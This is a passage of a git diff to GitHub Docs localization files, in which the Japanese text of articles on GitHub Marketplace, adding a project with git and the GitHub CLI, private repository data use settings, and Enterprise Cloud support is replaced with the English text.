tool subscription with the same billing information you use to pay for your {% data variables.product.product_name %} subscription, and receive one bill on your regular billing date. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." -一部のツールでは、14 日間の無料トライアルを選択することもできます。 トライアルの間はいつでもキャンセルでき、課金されることはありませんが、自動的にツールへのアクセスは失われます。 有料プランは 14 日間のトライアルの終了時に開始されます。 詳しい情報については、[{% data variables.product.prodname_marketplace %}の支払いについて](/articles/about-billing-for-github-marketplace)を参照してください。 +You may also have the option to select a free 14-day trial on some tools. You can cancel at any time during your trial and you won't be charged, but you will automatically lose access to the tool. Your paid subscription will start at the end of the 14-day trial. For more information, see "[About billing for {% data variables.product.prodname_marketplace %}](/articles/about-billing-for-github-marketplace)." -## {% data variables.product.prodname_marketplace %} でツールを見つける +## Finding tools on {% data variables.product.prodname_marketplace %} -他のユーザが作成したアプリやアクションを {% data variables.product.prodname_marketplace %} で検出、参照、インストールできます。「[{% data variables.product.prodname_marketplace %} を検索する](/search-github/searching-on-github/searching-github-marketplace)」を参照してください。 +You can discover, browse, and install apps and actions created by others on {% data variables.product.prodname_marketplace %}, see "[Searching {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace)." {% data reusables.actions.actions-not-verified %} -誰でも {% data variables.product.prodname_marketplace %} に無料の {% data variables.product.prodname_github_app %} または {% data variables.product.prodname_oauth_app %} をリストできます。 有料アプリケーションのパブリッシャーは {% data variables.product.company_short %} によって検証され、これらのアプリケーションのリストには検証済みの Marketplace バッジ {% octicon "verified" aria-label="Verified creator badge" %} が表示されます。 未検証および検証済みのアプリケーションのバッジも表示されます。 これらのアプリケーションは、個々のアプリケーションを検証する以前の方法を使用して公開されました。 現在のプロセスの詳細については、「[GitHub Marketplace について](/developers/github-marketplace/about-github-marketplace)」および「[アプリケーションを一覧表示するための要件](/developers/github-marketplace/requirements-for-listing-an-app)」を参照してください。 +Anyone can list a free {% data variables.product.prodname_github_app %} or {% data variables.product.prodname_oauth_app %} on {% data variables.product.prodname_marketplace %}. Publishers of paid apps are verified by {% data variables.product.company_short %} and listings for these apps are shown with a marketplace badge {% octicon "verified" aria-label="Verified creator badge" %}. You will also see badges for unverified and verified apps. These apps were published using the previous method for verifying individual apps. For more information about the current process, see "[About GitHub Marketplace](/developers/github-marketplace/about-github-marketplace)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." -## {% data variables.product.prodname_marketplace %} でツールを構築およびリストする +## Building and listing a tool on {% data variables.product.prodname_marketplace %} -{% data variables.product.prodname_marketplace %} にリストする独自のツールを作成する方法の詳細については、「[アプリ](/developers/apps)」および「[{% data variables.product.prodname_actions %}](/actions)」を参照してください。 +For more information on creating your own tool to list on {% data variables.product.prodname_marketplace %}, see "[Apps](/developers/apps)" and "[{% data variables.product.prodname_actions %}](/actions)." -## 参考リンク +## Further reading -- [{% data variables.product.prodname_marketplace %}でのアプリケーションの購入とインストール](/articles/purchasing-and-installing-apps-in-github-marketplace) -- [{% data variables.product.prodname_marketplace %} アプリの支払いを管理する](/articles/managing-billing-for-github-marketplace-apps) -- [{% data variables.product.prodname_marketplace %}のサポート](/articles/github-marketplace-support) -- 「[GitHub App と OAuth App の違い](/developers/apps/differences-between-github-apps-and-oauth-apps)」 +- "[Purchasing and installing apps in {% data variables.product.prodname_marketplace %}](/articles/purchasing-and-installing-apps-in-github-marketplace)" +- "[Managing billing for {% data variables.product.prodname_marketplace %} apps](/articles/managing-billing-for-github-marketplace-apps)" +- "[{% data variables.product.prodname_marketplace %} support](/articles/github-marketplace-support)" +- "[Differences between GitHub Apps and OAuth Apps](/developers/apps/differences-between-github-apps-and-oauth-apps)" diff --git a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md index bd1fce1bc4..5011d23fb9 100644 --- a/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md +++ b/translations/ja-JP/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md @@ -1,6 +1,6 @@ --- -title: コマンドラインを使った GitHub への既存のプロジェクトの追加 -intro: '既存の作業を {% data variables.product.product_name %}に置けば、多くの素晴らしい方法で共有とコラボレーションができます。' +title: Adding an existing project to GitHub using the command line +intro: 'Putting your existing work on {% data variables.product.product_name %} can let you share and collaborate in lots of great ways.' redirect_from: - /articles/add-an-existing-project-to-github/ - /articles/adding-an-existing-project-to-github-using-the-command-line @@ -17,7 +17,7 @@ shortTitle: Add a project locally {% tip %} -**ヒント:** ポイントアンドクリック型のユーザインターフェースに慣れている場合は、プロジェクトを {% data variables.product.prodname_desktop %}で追加してみてください。 詳しい情報については *{% data variables.product.prodname_desktop %}ヘルプ* 中の[ローカルコンピュータから GitHub Desktop へのリポジトリの追加](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)を参照してください。 +**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*. {% endtip %} @@ -25,141 +25,140 @@ shortTitle: Add a project locally ## Adding a project to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %} -{% data variables.product.prodname_cli %} は、コンピューターのコマンドラインから {% data variables.product.prodname_dotcom %} を使用するためのオープンソースツールです。 {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." +{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." 1. In the command line, navigate to the root directory of your project. -1. ローカルディレクトリを Git リポジトリとして初期化します。 +1. Initialize the local directory as a Git repository. ```shell git init -b main ``` -1. To create a repository for your project on {% data variables.product.product_name %}, use the `gh repo create` subcommand. Replace `project-name` with the desired name for your repository. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. +1. Stage and commit all the files in your project ```shell - gh repo create project-name + git add . && git commit -m "initial commit" ``` -1. Follow the interactive prompts. Alternatively, you can specify arguments to skip these prompts. For more information about possible arguments, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_repo_create). -1. Pull changes from the new repository that you created. (If you created a `.gitignore` or `LICENSE` file in the previous step, this will pull those changes to your local directory.) +1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`. + +1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch. - ```shell - git pull --set-upstream origin main - ``` - -1. Stage, commit, and push all of the files in your project. - - ```shell - git add . && git commit -m "initial commit" && git push - ``` +1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). ## Adding a project to {% data variables.product.product_name %} without {% data variables.product.prodname_cli %} {% mac %} -1. {% data variables.product.product_location %}上で[新しいリポジトリを作成](/repositories/creating-and-managing-repositories/creating-a-new-repository)します。 エラーを避けるため、新しいリポジトリは*README*、ライセンス、あるいは `gitignore` で初期化しないでください。 これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 ![[Create New Repository] ドロップダウン](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. ワーキングディレクトリをローカルプロジェクトに変更します。 -4. ローカルディレクトリを Git リポジトリとして初期化します。 +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. ファイルを新しいローカルリポジトリに追加します。 これで、それらのファイルが最初のコミットに備えてステージングされます。 +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . - # ローカルリポジトリにファイルを追加し、コミットに備えてステージします。 {% data reusables.git.unstage-codeblock %} + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. ローカルリポジトリでステージングしたファイルをコミットします。 +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" - # 追跡された変更をコミットし、リモートリポジトリへのプッシュに備えます。 {% data reusables.git.reset-head-to-previous-commit-codeblock %} + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. ターミナルで、ローカルリポジトリがプッシュされる[リモートリポジトリの URL を追加](/github/getting-started-with-github/managing-remote-repositories)してください。 +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> - # 新しいリモートを設定する + # Sets the new remote $ git remote -v - # 新しいリモート URL を検証する + # Verifies the new remote URL ``` -9. {% data variables.product.product_location %} へ、ローカルリポジトリの[変更をプッシュ](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)します。 +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push -u origin main - # ローカルリポジトリの変更を、origin として指定したリモートリポジトリにプッシュする + # Pushes the changes in your local repository up to the remote repository you specified as the origin ``` {% endmac %} {% windows %} -1. {% data variables.product.product_location %}上で[新しいリポジトリを作成](/articles/creating-a-new-repository)します。 エラーを避けるため、新しいリポジトリは*README*、ライセンス、あるいは `gitignore` で初期化しないでください。 これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 ![[Create New Repository] ドロップダウン](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. ワーキングディレクトリをローカルプロジェクトに変更します。 -4. ローカルディレクトリを Git リポジトリとして初期化します。 +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. ファイルを新しいローカルリポジトリに追加します。 これで、それらのファイルが最初のコミットに備えてステージングされます。 +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . - # ローカルリポジトリにファイルを追加し、コミットに備えてステージします。 {% data reusables.git.unstage-codeblock %} + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. ローカルリポジトリでステージングしたファイルをコミットします。 +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" - # 追跡された変更をコミットし、リモートリポジトリへのプッシュに備えます。 {% data reusables.git.reset-head-to-previous-commit-codeblock %} + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. コマンドプロンプトで、ローカルリポジトリのプッシュ先となる[リモートリポジトリの URL を追加](/github/getting-started-with-github/managing-remote-repositories)します。 +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> - # 新しいリモートを設定する + # Sets the new remote $ git remote -v - # 新しいリモート URL を検証する + # Verifies the new remote URL ``` -9. {% data variables.product.product_location %} へ、ローカルリポジトリの[変更をプッシュ](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)します。 +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push origin main - # ローカルリポジトリの変更を、origin として指定したリモートリポジトリにプッシュする + # Pushes the changes in your local repository up to the remote repository you specified as the origin ``` {% endwindows %} {% linux %} -1. {% data variables.product.product_location %}上で[新しいリポジトリを作成](/articles/creating-a-new-repository)します。 エラーを避けるため、新しいリポジトリは*README*、ライセンス、あるいは `gitignore` で初期化しないでください。 これらのファイルは、プロジェクトを {% data variables.product.product_name %}にプッシュした後で追加できます。 ![[Create New Repository] ドロップダウン](/assets/images/help/repository/repo-create.png) +1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. + ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} -3. ワーキングディレクトリをローカルプロジェクトに変更します。 -4. ローカルディレクトリを Git リポジトリとして初期化します。 +3. Change the current working directory to your local project. +4. Initialize the local directory as a Git repository. ```shell $ git init -b main ``` -5. ファイルを新しいローカルリポジトリに追加します。 これで、それらのファイルが最初のコミットに備えてステージングされます。 +5. Add the files in your new local repository. This stages them for the first commit. ```shell $ git add . - # ローカルリポジトリにファイルを追加し、コミットに備えてステージします。 {% data reusables.git.unstage-codeblock %} + # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. ローカルリポジトリでステージングしたファイルをコミットします。 +6. Commit the files that you've staged in your local repository. ```shell $ git commit -m "First commit" - # 追跡された変更をコミットし、リモートリポジトリへのプッシュに備えます。 {% data reusables.git.reset-head-to-previous-commit-codeblock %} + # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. ![リモートリポジトリの URL フィールドのコピー](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. ターミナルで、ローカルリポジトリがプッシュされる[リモートリポジトリの URL を追加](/github/getting-started-with-github/managing-remote-repositories)してください。 +7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. + ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. ```shell $ git remote add origin <REMOTE_URL> - # 新しいリモートを設定する + # Sets the new remote $ git remote -v - # 新しいリモート URL を検証する + # Verifies the new remote URL ``` -9. {% data variables.product.product_location %} へ、ローカルリポジトリの[変更をプッシュ](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)します。 +9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}. ```shell $ git push origin main - # ローカルリポジトリの変更を、origin として指定したリモートリポジトリにプッシュする + # Pushes the changes in your local repository up to the remote repository you specified as the origin ``` {% endlinux %} -## 参考リンク +## Further reading -- [リポジトリへのファイルの追加](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line) +- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" diff --git a/translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md b/translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md index 43acc8717c..c682319d40 100644 --- a/translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md +++ b/translations/ja-JP/content/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository.md @@ -1,6 +1,6 @@ --- -title: プライベートリポジトリ用のデータ利用設定を管理する -intro: '{% data variables.product.product_name %} で、関連するツール、人、プロジェクト、情報につなげるには、プライベートリポジトリ用のデータを設定します。' +title: Managing data use settings for your private repository +intro: 'To help {% data variables.product.product_name %} connect you to relevant tools, people, projects, and information, you can configure data use for your private repository.' redirect_from: - /articles/opting-into-or-out-of-data-use-for-your-private-repository - /github/understanding-how-github-uses-and-protects-your-data/opting-into-or-out-of-data-use-for-your-private-repository @@ -13,21 +13,22 @@ topics: shortTitle: Manage data use for private repo --- -## プライベートリポジトリ用のデータ利用について +## About data use for your private repository -プライベートリポジトリのデータ利用を設定すると、依存グラフにアクセスできます。依存グラフでは、リポジトリの依存関係を追跡し、{% data variables.product.product_name %} が脆弱性のある依存関係を検出したときに {% data variables.product.prodname_dependabot_alerts %} を受け取ることができます。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)」を参照してください。 +When you enable data use for your private repository, you'll be able to access the dependency graph, where you can track your repository's dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)." -## データ利用機能の有効化と無効化 +## Enabling or disabling data use features {% data reusables.security.security-and-analysis-features-enable-read-only %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -4. [Configure security and analysis features] で、機能の右側にある [**Disable**] または [**Enable**] をクリックします。 ![[Configure security and analysis] 機能の [Enable] または [Disable] ボタン](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png) +4. Under "Configure security and analysis features", to the right of the feature, click **Disable** or **Enable**. + !["Enable" or "Disable" button for "Configure security and analysis" features](/assets/images/help/repository/security-and-analysis-disable-or-enable-dotcom-private.png) -## 参考リンク +## Further reading -- [{% data variables.product.prodname_dotcom %} によるユーザのデータの利用について](/articles/about-github-s-use-of-your-data) -- [リポジトリ内の脆弱な依存関係を表示・更新する](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository) -- 「[リポジトリのセキュリティおよび分析設定を管理する](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)」 +- "[About {% data variables.product.prodname_dotcom %}'s use of your data](/articles/about-github-s-use-of-your-data)" +- "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)" +- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" diff --git a/translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md b/translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md index 04ed9198d3..d31732d6b3 100644 --- a/translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md +++ b/translations/ja-JP/content/github/working-with-github-support/about-github-premium-support-for-github-enterprise-cloud.md @@ -1,6 +1,6 @@ --- -title: GitHub Enterprise Cloud の GitHub Premium Support について -intro: '{% data variables.contact.premium_support %} は、{% data variables.product.prodname_ghe_cloud %} のお客様のための有料の補足的なサポートです。' +title: About GitHub Premium Support for GitHub Enterprise Cloud +intro: '{% data variables.contact.premium_support %} is a paid, supplemental support offering for {% data variables.product.prodname_ghe_cloud %} customers.' redirect_from: - /articles/about-github-premium-support - /articles/about-github-premium-support-for-github-enterprise-cloud @@ -14,25 +14,25 @@ shortTitle: GitHub Premium Support {% note %} -**ノート:** +**Notes:** -- {% data variables.contact.premium_support %} の規約は 2018 年 9 月に発効しています。この規約は、予告なく変更されることがあります。 +- The terms of {% data variables.contact.premium_support %} are subject to change without notice and are effective as of September 2018. - {% data reusables.support.data-protection-and-privacy %} -- この記事に記載されているのは、{% data variables.product.prodname_ghe_cloud %} のお客様向け {% data variables.contact.premium_support %} 規約です。 {% data variables.product.prodname_ghe_server %} および {% data variables.product.prodname_ghe_cloud %} を一緒に購入された {% data variables.product.prodname_ghe_server %} または {% data variables.product.prodname_enterprise %} のお客様に対する規約は異なる場合があります。 詳細は「[{% data variables.product.prodname_ghe_server %} の {% data variables.contact.premium_support %} について](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)」および「[{% data variables.product.prodname_enterprise %} の {% data variables.contact.premium_support %} について](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)」を参照してください。 +- This article contains the terms of {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %} customers. The terms may be different for customers of {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_enterprise %} customers who purchase {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %} together. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_server %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise-server)" and "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/admin/guides/enterprise-support/about-github-premium-support-for-github-enterprise)." {% endnote %} -## {% data variables.contact.premium_support %} について +## About {% data variables.contact.premium_support %} -{% data variables.contact.premium_support %} は以下を提供します: - - GitHub Enterprise サポートページを通じた文面 (英語) での 24 時間 365 日のサポート - - 24 時間 365 日の英語での電話サポート - - 初回応答時間が保証されるサービスレベルアグリーメント (SLA) - - プレミアムコンテンツへのアクセス - - 定期的なヘルスチェック - - 管理されたサービス +{% data variables.contact.premium_support %} offers: + - Written support, in English, through our support portal 24 hours per day, 7 days per week + - Phone support, in English, 24 hours per day, 7 days per week + - A Service Level Agreement (SLA) with guaranteed initial response times + - Access to premium content + - Scheduled health checks + - Managed services {% data reusables.support.about-premium-plans %} @@ -42,32 +42,32 @@ shortTitle: GitHub Premium Support {% data reusables.support.contacting-premium-support %} -## 営業時間 +## Hours of operation -{% data variables.contact.premium_support %} は、24 時間 365 日利用できます。 +{% data variables.contact.premium_support %} is available 24 hours a day, 7 days per week. {% data reusables.support.service-level-agreement-response-times %} -## サポートチケットへの優先度の割り当て +## Assigning a priority to a support ticket -{% data variables.contact.premium_support %} へのお問い合わせ時に、チケットの優先度を {% data variables.product.support_ticket_priority_urgent %}、{% data variables.product.support_ticket_priority_high %}、{% data variables.product.support_ticket_priority_normal %}、または {% data variables.product.support_ticket_priority_low %} の 4 つから選択できます。 +When you contact {% data variables.contact.premium_support %}, you can choose one of four priorities for the ticket: {% data variables.product.support_ticket_priority_urgent %}, {% data variables.product.support_ticket_priority_high %}, {% data variables.product.support_ticket_priority_normal %}, or {% data variables.product.support_ticket_priority_low %}. {% data reusables.support.github-can-modify-ticket-priority %} {% data reusables.support.ghec-premium-priorities %} -## サポートチケットの解決とクローズ +## Resolving and closing support tickets -{% data variables.contact.premium_support %} は、説明、推奨対応、使用方法、または回避策を提供した後、解決済みのチケットを検討する場合があります。 +{% data variables.contact.premium_support %} may consider a ticket solved after providing an explanation, recommendation, usage instructions, or workaround instructions, -カスタムあるいはサポートされていないプラグイン、モジュール、カスタムコードを使っている場合、{% data variables.contact.premium_support %} は問題の解決を試みるに当たってサポートされていないプラグイン、モジュール、コードの削除をお願いすることがあります。 サポートされていないプラグイン、モジュール、カスタムコードが削除されたことで問題が修正された場合、{% data variables.contact.premium_support %}はチケットが解決されたと見なすことがあります。 +If you use a custom or unsupported plug-in, module, or custom code, {% data variables.contact.premium_support %} may ask you to remove the unsupported plug-in, module, or code while attempting to resolve the issue. If the problem is fixed when the unsupported plug-in, module, or custom code is removed, {% data variables.contact.premium_support %} may consider the ticket solved. -{% data variables.contact.premium_support %}は、チケットがサポートの範囲外の場合、あるいは複数回の連絡に対して返答がいただけなかった場合、チケットをクローズすることがあります。 反応がなかったことによって{% data variables.contact.premium_support %}がチケットをクローズした場合、{% data variables.contact.premium_support %}にチケットをサイドオープンするようリクエストできます。 +{% data variables.contact.premium_support %} may close tickets if they're outside the scope of support or if multiple attempts to contact you have gone unanswered. If {% data variables.contact.premium_support %} closes a ticket due to lack of response, you can request that {% data variables.contact.premium_support %} reopen the ticket. {% data reusables.support.receiving-credits %} {% data reusables.support.accessing-premium-content %} -## 参考リンク +## Further reading -- [チケットをサブミットする](/articles/submitting-a-ticket) +- "[Submitting a ticket](/articles/submitting-a-ticket)" diff --git a/translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md b/translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md index 71f1577457..7c198a59d3 100644 --- a/translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md +++ b/translations/ja-JP/content/github/working-with-github-support/github-enterprise-cloud-support.md @@ -1,10 +1,10 @@ --- -title: GitHub Enterprise Cloud のサポート +title: GitHub Enterprise Cloud support redirect_from: - /articles/business-plan-support/ - /articles/github-business-cloud-support/ - /articles/github-enterprise-cloud-support -intro: '{% data variables.product.prodname_ghe_cloud %} では、優先サポートリクエストは現地時間月～金曜日、目標応答時間 8 時間としています。' +intro: '{% data variables.product.prodname_ghe_cloud %} includes a target eight-hour response time for priority support requests, Monday to Friday in your local time zone.' versions: fpt: '*' ghec: '*' @@ -15,40 +15,40 @@ shortTitle: GitHub Enterprise Cloud {% note %} -**メモ:** {% data variables.product.prodname_ghe_cloud %} のお客様は {% data variables.contact.premium_support %} にサインアップできます。 詳細は「[{% data variables.product.prodname_ghe_cloud %} の {% data variables.contact.premium_support %} について](/articles/about-github-premium-support-for-github-enterprise-cloud)」を参照してください。 +**Note:** {% data variables.product.prodname_ghe_cloud %} customers can sign up for {% data variables.contact.premium_support %}. For more information, see "[About {% data variables.contact.premium_support %} for {% data variables.product.prodname_ghe_cloud %}](/articles/about-github-premium-support-for-github-enterprise-cloud)." {% endnote %} {% data reusables.support.zendesk-old-tickets %} -優先質問は、{% data variables.product.prodname_ghe_cloud %} を購入してある場合か、現在 {% data variables.product.prodname_ghe_cloud %} にサブスクライブしている {% data variables.product.prodname_dotcom %} Organization のメンバー、外部コラボレーターまたは支払いマネージャーである場合にサブミットできます。 +You can submit priority questions if you have purchased {% data variables.product.prodname_ghe_cloud %} or if you're a member, outside collaborator, or billing manager of a {% data variables.product.prodname_dotcom %} organization currently subscribed to {% data variables.product.prodname_ghe_cloud %}. -次のような質問が、優先回答の対象となります: -- {% data variables.product.prodname_dotcom %} の中核となるバージョン管理機能のアクセスや使用ができないことに関連する質問を含む -- アカウントのセキュリティに関連する状況を含む -- 周辺サービスや周辺機能 (Gist、{% data variables.product.prodname_pages %}、またはメール通知についての質問など) を含まない -- Organization が現在使用している {% data variables.product.prodname_ghe_cloud %} の質問のみを含む +Questions that qualify for priority responses: +- Include questions related to your inability to access or use {% data variables.product.prodname_dotcom %}'s core version control functionality +- Include situations related to your account security +- Do not include peripheral services and features, such as questions about Gists, {% data variables.product.prodname_pages %}, or email notifications +- Include questions only about organizations currently using {% data variables.product.prodname_ghe_cloud %} -優先回答を受ける対象となるには、次のようにする必要があります: -- 現在 {% data variables.product.prodname_ghe_cloud %} を使用している Organization に関連付けられている認証済みメールアドレスから [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) へ質問をサブミットする -- 個々の優先状況ごとに新規でサポートチケットをサブミットする -- 現地時間月～金曜日に質問をサブミットする -- 優先質問への応答をメールで受信することを把握しておく -- {% data variables.contact.github_support %} と協働し、{% data variables.contact.github_support %} から求められる情報をすべて提供する +To qualify for a priority response, you must: +- Submit your question to [{% data variables.contact.enterprise_support %}](https://support.github.com/contact?tags=docs-generic) from a verified email address that's associated with an organization currently using {% data variables.product.prodname_ghe_cloud %} +- Submit a new support ticket for each individual priority situation +- Submit your question from Monday-Friday in your local time zone +- 